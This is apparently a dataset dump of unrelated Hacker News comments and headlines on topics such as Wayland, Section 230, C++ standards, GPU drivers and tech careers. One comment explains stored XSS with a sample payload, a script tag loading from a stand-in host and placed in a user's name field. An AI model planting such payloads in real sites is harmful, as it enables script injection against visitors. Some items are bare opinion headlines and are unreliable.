skysight-inc/HackerNews huggingface dataset:
Wayland is a display protocol.

X.org is a display protocol, its own server implementation of that protocol, and many utilities to interface with that server. And even more stuff.

To illustrate this: if you run Gnome on X.org, you will see you have an 'xorg' binary running in addition to all the Gnome stuff. That's the X11 server from X.org. If you run Gnome on Wayland, there's no 'wayland' stuff running. There's just Gnome implementing the Wayland display protocol.

That's why this "switching to Wayland" talk is just missing the point. You're not really switching to Wayland, you're just switching to a "pure Gnome" stack, or a "pure KDE" stack, or a "pure Sway" stack. These stacks all just happen to implement the Wayland protocol in their own compositors (i.e. Mutter, KWin, Sway) because they're committed to standardization and all want to run GTK3+Qt5+Ozone+XWayland+etc apps built for Wayland.
You will not remain technically up to date, at least not at a very detailed level. This is true. Tech management has a due date on it. After you go in the timer starts because more technically relevant people will want your job in a few years.
You suggest this is impossible; but I still remember that time I asked Alexa what colours the Lotus Elise was available in. For the next few weeks, whenever I went out, I'd see at least one Lotus parked on the street or at the mall or driving by.
I'm confused on the wording about the design fee. Is the design fee for purely design so the manufacturing setup cost is embedded in the margin of the PCBA or is the design fee design + manufacturing fee combined?
But the goal is to prevent spam in the first place. I don't think these bots will verify robots.txt to see if the spamming is effective. They just spam anything they can get their hands on.
Hey - Thanks so much for the candid question. FWIW, I think that what you guys are building at Catsup is a super valuable service and being profitable from week 2 is impressive!

From taking a quick look at your website (thanks for sharing it), it looks like you guys are focused on serving podcasters, which makes total sense.

So for us it's a bit different: We set up our customers (who are not podcasters) with a professional interviewer to explore subjects in their lives and the lives of others who are important to them. And yep, like Catsup, we do edit those interviews, so in that way there is some crossover.

Ultimately, different services and different customer bases. But I'm really excited about what you're building and it would be great to chat further if you're up for it. Feel free to reach out at contact@heyartifact.com.

And to your point, VC is in no way a marker of success. Building a sustainable business that provides value is what it's all about, and it sounds like you're doing just that. Hats off!
> very dense cities like Montreal

Remember it was founded in 1642. The older a city is, the more dense it is.
As a doctor, your are part of a big team managing people's health. Whether you are primary care or a specialist, you know that others are just as important to patient outcomes as you are. If you take that same attitude as a software developer, you'll realize that "management" is everybody's job. Those developers who don't are like little small town family doctors with no network. You'll probably do a decent job at keeping a small number of people alive as long as nothing goes wrong.
This website had crappy ads and automatically downloaded some file called "sync".
> It's almost like Sec. 230 is actually a good statute that may need to be tweaked, but not fundamentally changed or repealed.

Well, yeah, while I don't point that out in every comment on 230-related issues, that's 100% my position.

Pre-230, mass communications platforms were between Scylla and Charybdis in a way which had previously been masked by the economics of print publishing and distribution making total editing the only sensible approach independent of liability concerns. The emergence of online platforms really brought that to light, and 230 was, if perhaps problematic in some details of application, exactly the right kind of solution.
Shows how to build a static site fast, without having to know Jekyll. GitHub Pages is free for public repos, so you can host a themed informational site for nothing. Uses only the GitHub Pages web interface for maximum convenience.
I see this on dark.dev for web

"Warning: While in development, web support is available in the beta channel"

What is your experience? Is it OK to use this is in production app. Right now I need a web and desktop app and curious to know if Flutter can be used. But I see the Flutter web is beta quality and Flutter desktop is alpha quality as of now
First time I've seen a 451.
>But speaking as someone who was around then, the Mac was impossibly advanced, compared to the C64, Apple II, IBM PC.

In 1984? Against computers with CPUs that were trash next to 68000? Sure.

But then came the Amiga in 1985.
What I meant was they managed to cheapen an already affordable budget car. It still was a decent car mechanically and provided you take care of it would still run fine today.

Growing up with friends who had one or the other the plastics tended to fail a lot more often with the Geo models. Same could be said for the headliners and vinyl on the dash and A-pillars. The vinyl in one friends Prizm seemed to have shrinkage issues as it pulled itself away from all the corners before falling apart.

I can be biased against American cars at times, because at one point they did fall far behind the quality coming out of Europe/Asia. Ever since global models of cars took off they have improved greatly.

I worked for nearly 5 running an online auto parts store and yeah no car is perfect and they all suffer from some issue in the end.
Is the goal a good product/service or to be filthy rich..?

Why not do it for the gratification of offering a great product.
Google's non-free JavaScript recaptcha is an absolute showstopper! At least roll out a custom made solution of nothing else.
It's injecting an XSS Hunter script, from https://xsshunter.com/
LLVM e.g. SmallVector: https://llvm.org/doxygen/SmallVector_8h_source.html

Folly e.g. https://github.com/facebook/folly/tree/master/folly/logging, https://github.com/facebook/folly/blob/master/folly/concurre..., https://github.com/facebook/folly/tree/master/folly/executor...
The closest thing to a "language spec" is https://docs.python.org/3/reference/index.html, which still contains a lot of CPython specific/internal implementations (e.g. https://docs.python.org/3/reference/datamodel.html?highlight...).

This, and combined with https://www.hyrumslaw.com/, makes this "Python Language Reference" a "CPython Language Reference".
Somehow I don't think a bunch of retail employees processing returns without the manager's approval is gonna be a big deal. The manager will see the returns regardless of whether they approve them on an individual basis.
I think you're wrong.

1. If the water is fully frictionless, it will form a wave moving in phase with the moon, and extract no energy.

2. If the water is a solid, it will not move, and extract no energy.

1.5. If the water has the perfect viscosity/friction/resistance to flow, it will be 90 degrees phase away from the moon, and extract the most energy.

The real moon is more like 1.1. Adding more resistance in the form of water turbines will get us closer to the 1.5 scenario, extract more energy, and cause the tides to stop sooner. Anything humans can build I suspect would be insignificant though...
I can see the visual downgrade.

IMO, VRS (variable rate shading), which is in all major GPU providers (NVidia, AMD, and even Intel iGPUs / Xe), provides the "upscaling-ish" performance gains that we want for the next generation.

Its much harder to see the difference between native and VRS.

https://devblogs.microsoft.com/directx/variable-rate-shading...

-----

Its not a "competitive" feature, because everyone is doing it. But it basically accomplishes the same thing: carefully upscaling results (2x2 instead of 1x1) in locations where the gamer probably won't notice.
Maybe Coinbase sets things up in such a way that the cap gains event is triggered only when the balance is paid off?

E.g. imagine I incur $10 USD on the card. From Coinbase's perspective, I just owe them $10 USD + maybe interest at the end of some fixed time period. I could pay them in USD or I could pay them in crypto. Since it's not mandated I pay in crypto, you can't really say I've "spent" my crypto until I use it to pay off my balance. In which case you only end up with 12 taxable events per year.

I'm sure there's some arbitrage opportunity I'm not accounting for, but it seems like this might work?
My grandfather had to have an appendectomy without anesthesia.... But obviously he didn't have to self operate!
You'd be surprised. I've seen a number of times where new managers used to just being one of the team don't realize that joking about performance, compensation or someone's job takes on a very different tone when they have some actual or perceived power over these things.
But the data starts out structured. It becomes semi-structured when you log it.

I'm telling you, from first hand experience, this does not end well.

There's no reason that your tracing system should not be indexing your tags in an engine that provides advanced search features through a powerful query language.
Victor Stinner (Python core developer focused on performance) has a great speech about this question:

There are a lot of reasons actually

- Performance limited by old CPython design. If you fork it you have to deal with all the legacy code.

- CPython is limited to 1 thread because of the GIL.

- Specific memory allocators, C structures, reference counting, specific garbage collector etc.

You can find that video in here: https://youtu.be/TXRPCZ7Nmh4
A new Standard is issued every third year. C++11 and C++20 had numerous big improvements that seriously improved the whole coding experience. C++14 and C++17 had few wholly new features, but relaxed many restrictions. C++23 will not be a big release, although probably it will get "reflection", making it easier to write and to use serializer/deserializer libraries, and a comprehensive networking library.

Most people pick up the new features a little at a time by reading blog posts or watching conference presentation videos. An hour or two a week, over as many weeks as you need, gets you up to speed fast enough.
1) doesn't justify telling someone their experience means "squat"

2) since when do you have to be vetted/credentialed to participate in a discussion here?
If you slightly shift your perspective and think backwards from "what does it take to get _products to market_" then the the question of management track vs. IC track goes away completely.

It would be impossible to pull off creating _any_ product, say an iPhone, unless you're willing to manage people at _some level_.

Most of the folks who drive innovations today have some form of management experience. They could end up _promoting_ themselves to being ICs again or stick to being managers. Some managers at big tech co.'s have come via acquisitions. Some others are ones who've been around long enough at places like Google or Apple and are capable of venturing out on their own. Examples abound: Tailscale, Humane etc etc.
You may find it odd, but that is what the other, now long forgotten side said at the time, and I'm describing that without taking their side. I noted neutrally as I could that they were "unhappy" and consensus was not built "to their satisfaction", but then that their project soon died because interesting work was going on in the fork.

They envisioned a world in which they needed license changes to block the fork from stealing all their work... And worthwhile contributions from their side did not materialize.
Not many DBMS which support stacked queries I'll guess.
fcitx works fine for me under sway. I couldn't get ibus to work, but I used to use fcitx under X as well so I didn't try too hard to get ibus to work.

That said, the way fcitx works is to use toolkit integration directly, rather than work with the compositor via the input-methods protocol. So it only works for programs using those toolkits. Thus gtk2, gtk3, qt programs will work, but not something like alacritty. (This is good enough for my use case.)
Ah my comment wasn’t that clear. What I meant was as nice as flutter is dart felt like a downgrade after working with kotlin and swift (both of which I like a lot)
Maybe the problem is precisely that Wayland is not an X replacement, because that has led to a situation where there is a certain mismatch between the different pieces of the stack. Few people really understand what Wayland actually is, and how it works, and how it all fits together, which means only few people are actively working on the ecosystem.

Love it or hate it, but systemd has been around since 2010, and is almost ubiquitous by now. Wayland has been around since 2008, and it still seems more like a tech demo for most use cases rather than something that is production ready. There is clearly an issue with this project.
Sure, I completely agree. There are many fields where those technologies will be able to do great job.

I just doubt the very big vision of "immersive revolution", as I think that most usages will be strictly for entertainment, and some more specific cases like therapies and simulations.
> I believe I read the account of a violinist from the New York Philharmonic in which the actual jist was, for them and everybody else they knew in the ensemble prescribed it, "literally makes you give zero fucks about anybody out there and lets you zone in on exactly what you need to focus on"

Last Winter I played in a small ensemble after not performing in a band for maybe twenty years (mostly because of stage fright). Here I was: lead trumpet (carrying the entire melody), totally exposed, audience of maybe 60 people. Zero nervousness as I stood on stage looking out at everyone, as we get ready to begin. But about two minutes in, my hands began to shake, my lungs couldn't take in oxygen, I couldn't hold the notes. Nowhere to hide -- I was the solo lead part for the entire performance! If I even stopped playing for one measure to re-collect myself, it sounded ridiculous because I'm the melody and the pieces had no breaks. The embarrassment was severe. The other players didn't look my way as we packed up afterwards, and I barely said a word as I raced for the exit.

So the idea of being able to get that under control (a lifelong struggle) -- yeah, potentially life-changing.
All that bothers me certainly but I have two further concerns based on the types of games I play. The first is Minecraft, AMD has atrocious abandoned OpenGL drivers and Minecraft regularly fails to reach 60 fps on AMD cards where it can get to 500+ on Nvidia, its one of the most played games on the planet. The second is Virtual Reality, AMD has lagged in the technology of VR and doing things smarter with support for foveated rendering and multiple pass optimisation are really important for getting hard to run games playable.

Raw performance looks fine, its all the lack of news on the features and zero acknowledgement that people play games other than the latest AAA games that get benchmarked and they need to run well too. Not to mention all the bugs, if I buy an AMD card I can guarantee based on history something weird will happen for the life of the card, it always has for the past 20+ years, I haven't yet had a clean experience with an ATI/AMD card and I have owned a bunch of them.

What I really need AMD to say and do is acknowledge how important a good customer experience is with their driver stack, how every game and API matter, that they understand that customer experience is reality and are now committing it to history for good. Then they can sell me a high priced card, until they do well its got to be a lot cheaper to be worth the risk.
Additionally to this: for anyone who wants to assert that there's some implied requirement of "neutrality," I invite them to read what the authors of the law had to say quite recently.

"The first is that Section 230 does not require political neutrality. Claiming to "interpret" Section 230 to require political neutrality, or to condition its Good Samaritan protections on political neutrality, would erase the law we wrote and substitute a completely different one, with opposite effect. The second is that any governmental attempt to enforce political neutrality on websites would be hopelessly subjective, complicated, burdensome, and unworkable. The third is that any such legislation or regulation intended to override a website's moderation decisions would amount to compelling speech, in violation of the First Amendment" (pg 17)

https://www.documentcloud.org/documents/7213938-2020-09-17-C...
don't even think Porsche knows which one is which lol
Convince the powers-that-be in your company to invest in contracting with a marketing/SEO person or team to help come up with a new name. You want someone with marketing chops so that it's a good name, but you also want someone who knows about SEO so you don't end up on the second page for your own name search.
Incompetent web design. CSS is a powerful tool of destruction, by taking it away from webdevs the web becomes much less broken.
Wherever the name is used in a web page it loads a malicious script. For example:

the name is something like:

<script src=https://badscript.example"></script>

which then, when used in a web page turns the relevant part into something like:

<div><script src=https://badscript.example"></script></div>
We Found 7 Solutions to Help Recover Bitcoin Passwords and Seed Phrases
Suicide is largely based on anguish or some internal factor rather than due to imminent death or acute but transient pain.

The typical person is not actively suicidal. So conditional odds suggest in most cases a person would prefer to live

https://en.wikipedia.org/wiki/Suicide#/media/File:Suicide_ca...

https://en.wikipedia.org/wiki/Suicide#Risk_factors
It's all fair. Looking back at my comment I sounded a little bit harsh and I apologize for that.

What I was trying to establish is that there's really no solid ground to claim that any Git platform is a copy of another one since they are all essentially productivity and team-work wrappers around Git.

If you're talking about the general information architecture that's how SourceForge was even before Git existed, so hardly an original idea.
That's the use-case I can understand (if someone has a large number of machines or a fast internal network behind a VPN). My comment was more aimed at public facing projects that are open and accept contributions from anyone.
Republicans closely resemble autocratic parties in Hungary and Turkey – study
Without google's recaptcha, do you think there would be less spam?

Personally, I suspect there would be more without at least some speed bumps to raise the cost of spamming. I would absolutely love for there to be better options than recaptcha that meets the same needs around bot-detection, price, implementation effort, and accessibility. It is, sadly, the best option I've seen on offer.

You're right. The scenario we're in is incredibly sad. It would be wonderful if the individual actors involved had better options to meet their needs.
Yep, i second the clickhouse suggestion. Much more easier to understand than, say, mongodb or mysql codebases.
OpenAI GPT-3 medical chatbot told a mock patient to kill themselves
This is true in a lot of industries - if you're lucky enough to be a developer it isn't though. If you have skills and feel like you've hit a ceiling for advancement then shift companies - a lot of organizations have limits of how much they'll pay technical employees that are far below the limits on management but there are organizations that would treasure your skills and compensate you appropriately.

I will say that it's hard to avoid moving into leadership positions as your gain seniority - if you have issues mentoring others, estimating project and leading a discussion then your options are more limited but there are still some good opportunities out there for you especially if you're willing to be frank about any social anxiety that contributes to those weaknesses.
Link is a 404, but article seems to be here:

https://zora.medium.com/the-police-tried-to-make-me-medicall...

Astonishing piece.
Please don't tell other users repeatedly to shut up even if you phrase it in a slightly more passive formulation.

I have a tendency to want to write little phrases into my response like "as I already said" "if you would just pay attention" "If you bothered to look". Note that none of the above actually add information to the discussion they are basically little ways of poking someone in the chest verbally for the benefit ones own ego. I try to delete such things from my posts which as are complete and better written without them. You would do well to strike "I'll repeat" from your vocabulary it is very much in the same vein as the above.
That post was 4 years ago. Even though I haven't heard explicitly, certainly some of the recent comment from core developer talk about performance techniques that would definitely make things more complicated.

There's new boss(es) over the Python project, and things might be changing in the near future.
When I think of layoffs benefiting the business by cutting underperformers, I imagine that as lot of those underperformers can be found in middle management.

If you are a talented manager, you are likely to be headed for further promotion, not waiting for the firing line. I guess it's more of an up or out situation, if that's what you were thinking.
Similar to my experience of surveying vacuum cleaners on Amazon, then going to get lunch at Whole Foods where a clerk appeared suddenly at the checkout I was at to vacuum up a non-existent mess, with one of the models Amazon had offered up. The ratio of profit to sales cost on a high-end vacuum might be similar to a Lotus Elise. Or maybe it's just confirmation bias.
https://news.ycombinator.com/item?id=24911033 is the one with 270 comments and is certainly a more authoritative source
> warning C4146: unary minus operator applied to unsigned type, result still unsigned

#ifdef _MSVC
x = ~x + 1; // "Manual" two's complement to avoid warning.
#else
x = -x; // Regular two's complement any good C coder knows
#endif
Future headline, “Man removes own appendix by watching YouTube video to avoid unnecessary medical expense.”
This is just another misleading claim neither above comment or the article made.

Using premapped data doesn't mean the system isn't designed to deal with the unknown... how do you think Super Cruise would be able to function without being able to deal with unknowns?

Rather the standard for a working feature that GM has set simply higher than the extremely low standard that Tesla has continously settled for (which is why they originally misapplied Mobileye's LKA sensor suite for Lane Centering and got people killed due to known defects with stationary object handling)

Super Cruise requires premapped data as a data point, in abscense of which it reverts to simpler ACC, which it can reliably do.

This avoid situations like my Model S test drive in White Plains, NY where the not-a-salesperson had to warn me about a stretch where AP likes to split the difference between the lane and an exit (towards a Jersey barrier) due to poor road conditions.

Super Cruise can use mapping data not just to handle something like that, by flag a problem area in advance and let the user take over before the customers become guinea pigs.
Haha. Glad you are talking about the political party other than the one I'm supporting.
Surprised New Zealand isn't the top result when you Google "different Australia"
Plenty of “good enough” crimes though.

No such thing as a perfect crime detection system either.